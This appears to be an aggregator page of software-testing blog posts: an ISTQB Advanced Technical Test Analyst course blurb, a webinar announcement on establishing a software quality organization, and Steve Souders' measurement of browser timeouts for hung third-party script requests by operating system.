This e-Learning course follows on from the ISTQB Foundation Level Course and leads to the ISTQB Advanced Technical Test Analyst Certification. The course focuses specifically on technical test analyst issues such as producing test documentation in relation to technical testing, choosing and applying appropriate specification-based, structure-based, defect-based and experienced-based test design techniques, and specifying test cases to evaluate software characteristics. Candidates will be given exercises, practice exams and learning aids for the ISTQB Advanced Technical Test Analyst qualification.
Categories: Software Testing

Webinar Recording and Slides from Estabilishing the Software Quality Organization

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 12:24
Hi all,

Thanks to everyone who attended yesterday's webinar on "Establishing the Software Quality Organization" with Tom Staab and me.

Here is the recording of the session: http://youtu.be/pczgcHGvV5Q

Here are the slides in PDF format: http://www.softwaretestingtrainingonline.com/cc/public_pdf/Establishing%20The%20SQO%20webinar%2011132014-1.pdf

I hope you can attend some of our future sessions!

Thanks,

Randy
Categories: Software Testing

Request Timeout

Steve Souders - Fri, 11/14/2014 - 04:15

With the increase in 3rd party content on websites, I’ve evangelized heavily about how Frontend SPOF blocks the page from rendering. This is timely given the recent Doubleclick outage. Although I’ve been warning about Frontend SPOF for years, I’ve never measured how long a hung response blocks rendering. I used to think this depended on the browser, but Pat Meenan recently mentioned he thought it depended more on the operating system. So I decided to test it.

My test page contains a request for a script that will never return. This is done using Pat’s blackhole server. Eventually the request times out and the page will finish loading. Thus the amount of time this takes is captured by measuring window.onload. I tweeted asking people to run the test and collected the results in a Browserscope user test.

The aggregated results show the median timeout value (in seconds) for each type of browser. Unfortunately, this doesn’t reflect operating system. Instead, I exported the raw results and did some UA parsing to extract an approximation for OS. The final outcome can be found in this Google Spreadsheet of Blackhole Request Timeout values.

Sorting this by OS we see that Pat was generally right. Here are median timeout values by OS:

  • Android: ~60 seconds
  • iOS: ~75 seconds
  • Mac OS: ~75 seconds
  • Windows: ~20 seconds

The timeout values above are independent of browser. For example, on Mac OS the timeout value is ~75 seconds for Chrome, Firefox, Opera, and Safari.

However, there are a lot of outliers. Ilya Grigorik points out that there are a lot of variables affecting when the request times out; in addition to browser and OS, there may be server and proxy settings that factor into the results. I also tested with my mobile devices and got different results when switching between carrier network and wifi.

The results of this test show that there are more questions to be answered. It would take someone like Ilya with extensive knowledge of browser networking to nail down all the factors involved. A general guideline is Frontend SPOF from a hung response ranges from 20 to 75 seconds depending on browser and OS.

Categories: Software Testing

Pages